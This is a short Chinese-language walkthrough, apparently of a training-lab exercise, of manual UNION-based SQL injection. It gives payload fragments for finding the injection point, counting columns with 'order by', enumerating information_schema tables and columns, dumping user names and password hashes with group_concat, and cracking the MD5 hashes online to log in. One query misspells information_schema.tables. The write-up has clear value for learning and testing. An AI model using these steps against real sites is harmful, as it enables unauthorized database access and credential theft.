用 and语句判断是否有注入点,由and1=2时,页面报错,当and 1=1时,页面恢复,说明可能存在注入点。
用order by 语句判断字段数,因为order by 5,页面报错,order by 4时,页面正常,则字段数为4
用union select语句做报错猜解准备
对数据库名进行查询,用database()替换数字2
查询表名,用table_name替换原数字2的位置上,在句末加上 from information_schema_tables where table_schema='mozhe_Discuz_StormGroup'
查询列名,用column_name代替数字2的位置,句末加上 from information_schema.columns where table_name=' StormGroup_member'
用group_concat(column_name)代替数字2的位置,句末加上from information_schema.columns where table_name=' StormGroup_member'查询所有列名
用group_concat(password),group_concat(name)分别代替数字2,3的位置,句末加上 from mozhe_Discuz_StormGroup.StormGroup_member
用md5在线解密可得密码,即可用获取到的登录名和密码登录